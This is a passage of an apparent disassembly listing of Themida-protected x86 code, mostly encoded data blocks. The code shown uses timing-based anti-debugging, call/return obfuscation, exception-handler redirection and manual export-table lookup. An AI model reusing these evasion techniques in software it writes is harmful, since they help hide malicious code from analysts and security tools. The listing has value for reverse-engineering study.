86D8590Ch, 2AAD8D89h, 0F5007E4h, 1981h, 14E900h, 7D580000h dd 2055173Ah, 0D120993Dh, 0B6C9390Bh, 4B4A6FEBh, 489F441h dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 24448BFFh, 52006A28h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4F1F2FB5h dd 0F89B82EDh, 90FCDC77h, 800F5250h, 6, 310F5250h, 310F585Ah dd 0BE9h, 8BB24E00h, 0A4349E31h, 0F0FA9E3Fh, 0F50585Ah dd 0A8Eh, 52506000h, 585A310Fh, 90615F50h, 0D8858DF5h dd 6A07E77Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 5229C351h, 7C84A7B2h, 8D8B601Eh dd 7E41AD1h, 25859D89h, 896107E4h, 0E4233D9Dh, 29D0FF07h dd 0E42EBD95h, 6A9607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 102FA0C3h, 0FCD85BD1h, 3321B589h dd 740307E4h, 95892424h, 7E41E6Dh, 90DBD8Dh, 6A07E4h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0CA99A7C3h, 0B261F503h, 89123514h, 0E41421B5h, 6AAD07h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 475B96C3h, 9E56DFFAh, 10E973h, 0BB020000h, 4D45C334h dd 0A0D01E93h, 705426B0h, 7C816723h, 2424h, 870F1000h dd 162h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0E5C35040h, 9E9DC027h, 0BA4ABC48h, 9E96Ch, 753D0000h dd 355184AAh, 6017834Dh, 16758589h, 0BDBE07E4h, 61699F8Ch dd 10E950h, 0D2560000h, 0FC5F3EB7h, 6B0B5B9Ah, 0B15B981Ch dd 48913BFh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h dd 95B6CD6h, 0E417C585h, 24448B07h, 0BE86028h, 0F5000000h dd 1399396h, 269065B1h, 0F18B0C34h, 0CF8B6659h, 870F9061h dd 13h, 61605250h, 6E9310Fh, 73000000h, 8B0874D1h, 50585AF7h dd 12860Fh, 52500000h, 310F5250h, 310F585Ah, 310F5250h dd 585A585Ah, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 60ED5502h, 1499094Ch, 8D09156Ah dd 7E4164Dh, 7ED8858Dh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D29C1C3h, 7E42DCDh dd 6E9h, 5A887400h, 0FF2B6887h, 51006AD0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 78F75D43h dd 0D1CC3621h, 958B5760h, 7E419A9h, 6147B75Fh, 22D19501h dd 440307E4h, 0ABFC2424h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 50C35040h, 54B5844Eh, 60CBBF19h, 92C08166h dd 0FC6061FCh, 24DB8166h, 0FA8161C6h, 10000h, 786820Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0D957A6C3h, 0F8D2B973h, 148C0Fh, 0FE90000h dd 1C000000h, 0FA85CFA9h, 69BC3D95h, 0AEAD4BB6h, 0BD8D79E2h dd 7E4220Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0B3C35141h, 0ADBE632Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0D3C35343h, 1289C5FDh, 0FE9304Ah dd 6000000h, 6ECF2C72h, 69BAC995h, 30A3DD54h, 0DE93531h dd 0DC000000h, 0FEAFB719h, 1664BE4Dh, 3971145Eh, 24247C81h dd 10000000h, 0C1870Fh, 95890000h, 7E41FD1h, 60525090h dd 9E8h, 60853D00h, 0F65A21B4h, 505FC3EDh, 5A310F52h, 310F6158h dd 0EE9h, 0D7ECE800h, 49445B9Dh, 0BF5FF71Ah, 5A123CF1h dd 0BE95058h, 96000000h, 428995AEh, 0A9EE5DB8h, 99011F9h dd 0E42D61B5h, 24448B07h, 0EE928h, 21FA0000h, 0DD678920h dd 0F39615C4h, 0F4B658C2h, 0DE990h, 0F0830000h, 0EED8B1AAh dd 0EAE3A87Eh, 50A3CA39h, 88B0Fh, 810F0000h, 2, 6A906160h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 129CC351h, 43CC081Fh, 858DF52Ch, 7E77ED8h dd 224D8589h, 0D0FF07E4h, 85B501FCh, 307E427h, 6A242444h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 6543C353h, 2DBBE1DAh, 14FDF02Ch, 29ED9529h dd 0DE907E4h, 13000000h, 195FC125h, 0CE2C63A0h, 46F3DADFh dd 8B606090h, 61FA8BF2h, 61F28B66h, 0F525050h, 28Ah, 0F616000h dd 0E9525031h, 5, 0DAFF7A54h, 0E9310F13h, 12h, 1A5163F3h dd 5BF9836Fh, 9CB0320h, 2C8C9C9Eh, 585ACB61h, 6A90585Ah dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1119C353h, 6F3041EFh, 0A9958979h, 0E907E406h dd 10h, 15966F67h, 30BD330h, 3165C884h, 5D34FDD0h, 68D0Fh dd 95890000h, 7E40161h, 56006AABh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0AF6B2CAEh, 0A6C9C9A2h dd 8DF911D1h, 0E41AF9BDh, 158D8907h, 0AD07E425h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0F4C35747h, 247C81F9h dd 28h, 10870F10h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CAC9C355h, 0A2727453h dd 459D8B60h, 2907E42Dh, 0E41F4995h, 50F86107h, 8E960h dd 22740000h, 4F479681h, 7E8F7A5h, 31000000h, 0F284DDA7h dd 61606EC1h, 4896159h, 12870F24h, 0E9000000h, 0Dh, 0B8D3CFC7h dd 0FE3A0AE4h, 55D1912h, 24448B1Fh, 0E8C0F2Ch, 60000000h dd 850Fh, 9D890000h, 7E4089Dh, 66605061h, 7DB9CF8Bh, 614FEB66h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 8E32C355h, 0A217C12Dh, 8E9h, 0F932D200h dd 80A2C494h, 0D8858DA7h, 6007E77Eh, 820FB1B5h, 6, 0A99D8Bh dd 0FF6107E4h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 6EDA5061h, 14E99A3Ah dd 0E4000000h, 9705A73h, 56195DC5h, 0C361B420h, 0CFFDEDA0h dd 33C0489h, 0F9282444h, 51006AABh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 952939DAh, 7E4022Dh, 8E8DFF5Eh dd 8307E7B0h, 0E7B08EBDh, 0A750007h, 0B58DC033h, 7E7C0F4h dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h, 502C2444h dd 7ED8858Dh, 0D0FF07E7h, 28244403h, 8ADF8B97h, 0E7B08A85h dd 74C08407h, 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah dd 66EBD166h, 973D8D1h, 50413566h, 49F38166h, 75CEFE54h dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h dd 74D03B5Ah, 0C6835E0Fh, 0D185FF04h, 0E907E412h, 0FFFFFF5Dh dd 51006A5Eh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9864F812h, 7E9F9h, 6F990000h, 0D4C9D748h dd 0D1858B4Fh, 6A07E412h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 2D49C355h, 820F42C2h dd 15h, 10E9h, 2A4E9E00h, 0B7659E30h, 5089632Bh, 7ACA0672h dd 6880F95h, 89000000h, 0E42DA995h, 89E0D107h, 0E41B31BDh dd 0F9850307h, 0E907E41Ah, 0Dh, 9C6EA445h, 0F9D56F3Ch dd 56974E75h, 0E9F62BA6h, 0Ch, 8368AF91h, 0C321AF00h, 0C4EB95E0h dd 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0B5485D5Ah, 80893330h, 8D2B6044h, 7E41EE9h dd 0F9EE8166h, 860F61D3h, 1, 0E9AD66F8h, 8, 0D68EADABh dd 80CDC98Eh, 6A02E0C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 7DEEC350h, 0E852CFE0h dd 90D8503h, 896007E4h, 0E40D359Dh, 18BA6607h, 6A9661D8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 1DC1C350h, 0A940D5C4h, 0BF605E4Bh, 6700FF39h dd 61CBB70Fh, 57006AADh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 440C9EB9h, 7C8139A8h, 2424h, 870F1000h dd 0EDh, 18E1B501h, 0F9007E4h, 1B89h, 158C0F00h, 0E9000000h dd 10h, 26801BB0h, 4BD551A4h, 0A2421BFAh, 554B9EDEh, 0C8C0F50h dd 0F000000h, 684h, 0F525000h, 90585A31h, 0A9958B60h, 0E907E42Eh dd 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh, 0DA220FD6h, 6153D1D8h dd 0AE9h, 0B48A300h, 55A4DAE6h, 8B98551Fh, 89282444h, 0E42C3185h dd 8A0F5007h, 0Ah, 61605250h, 6160310Fh, 489585Ah, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 0AADF5E23h, 28593CA6h, 8D092D22h, 7E407D1h, 0A9B96660h dd 21EBBA1Ah, 8D610578h, 0E77ED885h dd 81666007h, 0E9F5ACEAh, 0Eh, 26E23D2Bh, 26E97AB6h, 3A57B103h dd 0FF61ABB9h, 6800FD0h, 1000000h, 0E41FDDB5h, 24440307h dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 14C158D3h, 0EE9h, 1CF5E400h, 0E7164FE2h dd 0E1E874F1h, 898CE879h, 11C2444h, 0E42209BDh, 2D85C607h dd 7E42Ch, 0B21285C7h, 7E7h, 85C70000h, 7E7B092h, 0 ; --------------------------------------------------------------------------- jmp loc_5BE5BA ; --------------------------------------------------------------------------- db 0A7h, 7Eh, 27h dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch db 0AFh, 72h ; --------------------------------------------------------------------------- loc_5BE5BA: ; CODE XREF: Themida_:005BE5A4j stc popa jge loc_5BE5C8 sub [ebp+7E420D5h], edx loc_5BE5C8: ; CODE XREF: Themida_:005BE5BCj jno locret_5BE5D4 xor [ebp+7E42D89h], esi locret_5BE5D4: ; CODE XREF: Themida_:loc_5BE5C8j retn 8 ; --------------------------------------------------------------------------- clc mov eax, [ebp+7E4090Dh] push 0 push ecx call sub_5BE5E9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE5E9 proc near ; CODE XREF: Themida_:005BE5E1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5BE5E9 endp ; --------------------------------------------------------------------------- db 2Eh, 60h, 66h dd 0B95C6B9h, 0E413F9BDh, 6A4A6107h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AC21C350h dd 0E9628077h, 12h, 306B5F43h, 18DAE269h, 0CAE9B687h, 0A2A5E073h dd 0D26BB557h, 0DE904h, 86DA0000h, 89DBD190h, 2A8AA758h dd 89E2C454h, 0E41E0585h, 6AC20307h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 3C355h dd 9974702Fh, 0F4B48549h, 6A96F9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 0C40E09C3h, 60818A0Ch dd 8BF1BF0Fh, 0E414E9B5h, 0FAD6107h, 1284h, 0DE900h, 54B60000h dd 9C0A7E40h, 0DD20B538h, 60A71F97h, 1EE9B589h, 0B70F07E4h dd 7C8161C9h, 2424h, 870F1000h, 0C6h, 24418D89h, 0E95007E4h dd 10h, 32353495h, 0B15D2D52h, 0B24763E9h, 777E778Ah, 89240489h dd 0E42CF99Dh, 24448B07h, 55006A28h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F9D6F8C4h dd 880F6090h, 2, 5061A6B5h, 60CF8B60h, 310F5250h, 5250585Ah dd 585A310Fh, 0F906161h, 181h, 858DF800h, 7E77ED8h, 18B0Fh dd 0FFF80000h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 5683D64Dh, 0DD87855Ah dd 6E9A4h, 0ED000000h, 0ACF2F15Dh, 14E9FCh, 0D3E40000h dd 57077DFFh, 5E20280h, 0C26F336Eh, 0F156FFCh, 9EE9806Bh dd 0F8FFFFFDh, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FCDCBDC3h dd 0D6047B61h, 8B0F90F4h, 0Fh, 0AE9h, 485BA100h, 9829FE73h dd 509F74DEh, 52505250h, 8E0Fh, 310F0000h, 8F0Fh, 585A0000h dd 6660310Fh, 8BD697B9h, 585A61FBh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C3081CFBh dd 2A5B1BF9h, 0FF64DCBBh, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 75EDE810h dd 0B70F60DAh, 39D981F7h, 617457D2h, 6A24048Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0F245C353h, 0C3BF6198h, 198589E6h, 6A07E430h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 3A19C353h, 9D894D6Bh, 7E415A5h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9FDAC355h, 0DD82E791h, 49F03831h, 0D810Fh dd 66600000h, 0B554CF81h, 5A8FE181h, 8D611101h, 0E7C4E085h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0BD896078h, 7E42631h, 1608961h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h, 218D8D29h dd 0E9FC07E4h, 251h, 6820F60h, 0F000000h, 83h, 0DBD8900h dd 6107E415h, 0E8DB8BFCh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E7C4D9h mov esp, 12FF9Ch cmp dword ptr [ebp+7E4038Dh], 0 jz short loc_5BE991 mov eax, [ebp+7E41EB5h] mov byte ptr [eax], 0 mov eax, [ebp+7E4169Dh] mov byte ptr [eax], 0 call dword ptr [ebp+7E41665h] loc_5BE991: ; CODE XREF: Themida_:005BE977j pusha push dword ptr [ebp+7E7AC96h] lea eax, [ebp+7E7AC9Ah] push eax lea eax, [ebp+7E7AE92h] push eax call dword ptr [ebp+7E42169h] add esp, 0Ch popa pusha jmp loc_5BE9BB ; --------------------------------------------------------------------------- pop es inc eax jmp short loc_5BE9BB ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- loc_5BE9BB: ; CODE XREF: Themida_:005BE9B1j ; Themida_:005BE9B8j js loc_5BE9CE jmp loc_5BE9CE ; --------------------------------------------------------------------------- dw 9B5h dd 0A035F250h db 6Fh, 0E9h ; --------------------------------------------------------------------------- loc_5BE9CE: ; CODE XREF: Themida_:loc_5BE9BBj ; Themida_:005BE9C1j popa push 0 push ebx call sub_5BE9DA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BE9DA proc near ; CODE XREF: Themida_:005BE9D2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BE9DA endp ; --------------------------------------------------------------------------- dw 92BCh ; --------------------------------------------------------------------------- scasb or [ebp+7E40185h], esi lea esi, [ebp+7E7AE92h] sub [ebp+7E414C5h], ebx lea edi, [ebp+7E43359h] xor [ebp+7E41A2Dh], edx cmp byte ptr [esi], 0 jz loc_5BEA75 sub [ebp+7E4009Dh], ebx movsb push 0 push eax call sub_5BEA26 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEA26 proc near ; CODE XREF: Themida_:005BEA1Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5BEA26 endp ; --------------------------------------------------------------------------- dw 42E4h dd 0CCA2D8C5h, 0FFC9E91Dh, 6AFFFFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 144866C3h dd 0E91EE8CBh, 0Dh, 0A1D575Ah, 9D78C379h, 0CC71D186h db 1Ah ; --------------------------------------------------------------------------- loc_5BEA75: ; CODE XREF: Themida_:005BEA0Ej sub eax, eax cmc stosb push 0 push esi call sub_5BEA84 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEA84 proc near ; CODE XREF: Themida_:005BEA7Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5BEA84 endp ; --------------------------------------------------------------------------- dd 0AFE915F9h, 0E59C6D30h, 8B60874Eh, 0F1BF66CFh, 12E961EBh dd 29000000h, 698C478Dh, 6C3B71A6h, 44C1284Eh, 8620B84Fh dd 7B83Eh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0A1F30BC3h, 1DEE8929h, 0C7247F1Bh dd 0E40AD985h, 107h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 2D5A2E42h, 0F609695h dd 683h, 99D8900h, 0BF07E432h, 7FFE391Dh, 8D8DFC61h, 7E44FE7h dd 14E960h, 0CB5D0000h, 0B56AB4D3h, 0B97DD1DAh, 0BAA6D074h dd 0B4ABCCD0h, 8D89DC82h, 7E42C01h, 6AE1FF61h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0C196C357h ; --------------------------------------------------------------------------- loc_5BEB6C: ; DATA XREF: Themida_:0058457Co mov ebx, [esp+0Ch] push ebp call $+5 pop ebp sub ebp, 7E7C6EBh mov eax, [ebx+0B8h] mov [ebp+7E7AC96h], eax lea eax, [ebp+7E7C4D2h] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BEBA4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEBA4 proc near ; CODE XREF: Themida_:005BEB9Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BEBA4 endp ; --------------------------------------------------------------------------- dd 897C6157h, 0E422059Dh, 0E1852907h, 8907E413h, 0E418D985h dd 0BE907h, 47CD0000h, 0CE1B464Ch, 9BC9940Ch, 952960B9h dd 7E418B5h, 0C9C4858Dh, 850F07E7h, 1, 0DE990F8h, 26000000h dd 7D19F2ACh, 0F0BF5831h, 8806A096h, 16850F50h, 50000000h dd 0F525052h, 0F585A31h, 5E931h, 69330000h, 5A3BBA93h dd 6A9058h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 810F03C3h, 6, 20DB589h, 858907E4h, 7E41F29h dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0E4B4C353h, 9BB32C96h dd 0A4BAD2EBh, 6810Fh, 0B5310000h, 7E42631h, 258964h, 0F9000000h dd 0CA5B858Dh, 810F07E7h, 15h, 10E9h, 0E4D0C200h, 0AA2B60A2h dd 0E781757Ah, 5DABC372h, 160896Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0FEC35343h, 0AFA342A2h, 6296A28Ah dd 14E9FCh, 0D1620000h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h dd 93DA7FD1h, 85C605FDh, 7E42C2Dh, 0AE9604Fh, 0BB000000h dd 34D295C1h, 6C13D118h, 0B4BE6686h, 4E861DFh, 2A000000h dd 50FEC874h, 0DE952h, 0BFC70000h, 914758A9h, 87BCB3BFh dd 0F8555EAh, 60525031h, 0E9310F61h, 10h, 4ED891D6h, 7A52213Ch dd 666D024Dh, 33D1B816h, 585A585Ah, 0FE950h, 0E2FE0000h dd 0ADF17EE9h, 88C62AECh, 0FFB6A56Ch, 24448B26h, 0EE904h dd 5FF50000h, 0ACCA082Dh, 73F31D56h, 71F6363Bh, 840F008Bh dd 8, 2830Fh, 61600000h, 4244489h, 0A880Fh, 52500000h dd 310F6160h, 585A6160h, 6850F58h, 29000000h, 0E4216585h dd 41B5FF07h, 6A07E421h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 1EB7C353h, 5DBD012Ch dd 8907E435h, 0E406F59Dh, 0A7858D07h, 6007E7B0h, 25CD8D8Bh dd 0DE907E4h, 0DA000000h, 0C42D2356h, 653726E5h, 0B85B71C6h dd 6AD0FF61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 9036C353h, 3B0711E1h, 0CBAEAAAh dd 0A860Fh, 89600000h, 0E42FF995h, 61C38A07h, 0B5E9h, 0FA8B6000h dd 2F7DB501h, 0E96107E4h, 0Fh, 742C1184h, 26ABD6E5h, 94AD292Dh ; --------------------------------------------------------------------------- loc_5BEE4C: ; DATA XREF: Themida_:005843B4o push 5C8B0C4Eh and al, 0Ch push ebp call $+5 pop ebp sub ebp, 7E7C9CEh mov eax, [ebp+7E4019Dh] mov [ebp+7E42141h], eax mov eax, [ebp+7E41DE1h] mov [ebp+7E41D89h], eax mov eax, [ebp+7E40DE1h] mov [ebp+7E401CDh], eax mov byte ptr [ebp+7E42C2Dh], 0 mov dword ptr [ebp+7E7B212h], 0 lea eax, [ebp+7E7CA5Bh] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- push 0 push edi call sub_5BEEB0 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEEB0 proc near ; CODE XREF: Themida_:005BEEA8p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5BEEB0 endp ; --------------------------------------------------------------------------- mov bl, ah or cl, [edi-52h] sub al, 6Bh scasd mov ds:57006AC9h, al call sub_5BEED5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEED5 proc near ; CODE XREF: Themida_:005BEECDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5BEED5 endp ; --------------------------------------------------------------------------- push edx mov esp, 12FF74h add [ebp+7E41CFDh], eax or [ebp+7E40EA1h], edi pop large dword ptr fs:0 push 0 push ebx call sub_5BEF09 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BEF09 proc near ; CODE XREF: Themida_:005BEF01p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5BEF09 endp ; --------------------------------------------------------------------------- push ebp movsd lds eax, [ebx+61FC04C4h] jmp loc_5BEFA9 ; --------------------------------------------------------------------------- push ebx push ecx push edx push esi push edi mov ebx, [esp+1Ch] cmp word ptr [ebx], 5A4Dh jnz loc_5BEFA2 movzx eax, word ptr [ebx+3Ch] add ebx, eax cmp word ptr [ebx], 4550h jnz loc_5BEFA2 mov ebx, [ebx+78h] add ebx, [esp+1Ch] mov esi, [ebx+24h] add esi, [esp+1Ch] push esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [esp+20h] add esi, [esp+20h] cld or ecx, 0FFFFFFFFh loc_5BEF6C: ; CODE XREF: Themida_:005BEF82j ; Themida_:005BEF8Aj inc ecx mov ebx, [esp+1Ch] mov edx, [edi] add edx, [esp+20h] add edi, 4 loc_5BEF7A: ; CODE XREF: Themida_:005BEF86j mov al, [edx] test al, al jz short loc_5BEF88 cmp al, [ebx] jnz short loc_5BEF6C inc ebx inc edx jmp short loc_5BEF7A ; --------------------------------------------------------------------------- loc_5BEF88: ; CODE XREF: Themida_:005BEF7Ej cmp al, [ebx] jnz short loc_5BEF6C pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [esp+1Ch] loc_5BEF9A: ; CODE XREF: Themida_:005BEFA4j pop edi pop esi pop edx pop ecx pop ebx retn 8 ; --------------------------------------------------------------------------- loc_5BEFA2: ; CODE XREF: Themida_:005BEF34j ; Themida_:005BEF45j xor eax, eax jmp loc_5BEF9A ; --------------------------------------------------------------------------- loc_5BEFA9: ; CODE XREF: Themida_:005BEF21j mov ecx, edx call near ptr loc_5BEFBA+4 wait mov [eax], ebx or al, 0BEh adc eax, 0F4C39588h loc_5BEFBA: ; CODE XREF: Themida_:005BEFABp mov ebp, 81D964D7h loopne near ptr loc_5BF024+1 dec ebp sub eax, 0B8665F3Ah fdivr dword ptr [ebp-7Fh] mov dword ptr [eax-7EFFFF9Dh], 76A19ED8h jnp short loc_5BF03E enter 18h, 0 xor si, 8664h pop ecx mov esi, 666B35D4h loc_5BEFE5: ; CODE XREF: Themida_:005BF02Dj mov edx, [edi] jo loc_5BEFEE cmc loc_5BEFEE: ; CODE XREF: Themida_:005BEFE7j sub edx, 41613437h xor si, 6A80h sub edx, 400A235Dh movzx ebx, cx xor edx, 51A03303h jl loc_5BF012 mov bx, 0B892h loc_5BF012: ; CODE XREF: Themida_:005BF008j push edx cmc pop dword ptr [edi] jmp loc_5BF021 ; --------------------------------------------------------------------------- db 85h dd 3CEEA63Ch db 0C1h ; --------------------------------------------------------------------------- loc_5BF021: ; CODE XREF: Themida_:005BF016j sub edi, 4 loc_5BF024: ; CODE XREF: Themida_:005BEFBFj mov bx, di sub ecx, 1 jnz loc_5BEFE5 jmp loc_5BF044 ; --------------------------------------------------------------------------- dd 0BC0343B1h ; --------------------------------------------------------------------------- ja short loc_5BF04E loc_5BF03E: ; CODE XREF: Themida_:005BEFD4j mov edi, esi test [ebp+ebp*2+0], cl loc_5BF044: ; CODE XREF: Themida_:005BF033j jmp short loc_5BF07A ; --------------------------------------------------------------------------- dec ecx inc esi push ebx dec ebp inc edi push edx and [eax], ah loc_5BF04E: ; CODE XREF: Themida_:005BF03Cj push esi dec ebx inc esp and [eax], ah and [eax], ah and [esi+4Dh], dl dec ebp and [eax], ah and [eax], ah and [esi+57h], dl dec ecx dec esi xor esi, [edx] and [eax], ah push esi pop eax inc esp dec esp inc esp push edx and [eax], ah ; --------------------------------------------------------------------------- dw 0 dd 2 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5BF07A: ; CODE XREF: Themida_:loc_5BF044j jmp loc_5BF82B ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BF08A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF08A proc near ; CODE XREF: Themida_:005BF082p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BF08A endp ; --------------------------------------------------------------------------- pushf pusha push 0 push ecx call sub_5BF0A7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF0A7 proc near ; CODE XREF: Themida_:005BF09Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5BF0A7 endp ; --------------------------------------------------------------------------- db 0F8h dd 1F3CAC58h, 7088DAF2h, 0F1B70F60h, 8A0Fh, 0C7610000h dd 0E7CBE385h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 91805CCBh, 0F8017042h dd 0EE9h, 0E0FE9800h, 0D6795746h, 2DBC6117h, 8B612F97h dd 50006AC6h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 1A42630Eh, 0C8C0FB2h, 0F000000h, 689h, 850F00h dd 0F000000h, 18Dh, 0B70FF900h, 53006AD8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0E33EF3B2h dd 0F512BB20h, 6A10E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F73C352h, 185h, 0C166FC00h dd 6A08C8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 0FFAEE0C3h, 0F279FBEEh, 10E9h, 0E1A2D700h dd 63E76833h, 0A3C4C3A5h, 0B07E4609h, 0E78589B4h, 0F507E7CBh dd 0CBC166F9h, 13E96008h, 5C000000h, 0D3A80EE5h, 87EFA7E3h dd 0C681227h, 0FCBB8AEEh, 8361ED56h, 850F40FBh, 6Ch, 0E851006Ah dd 3, 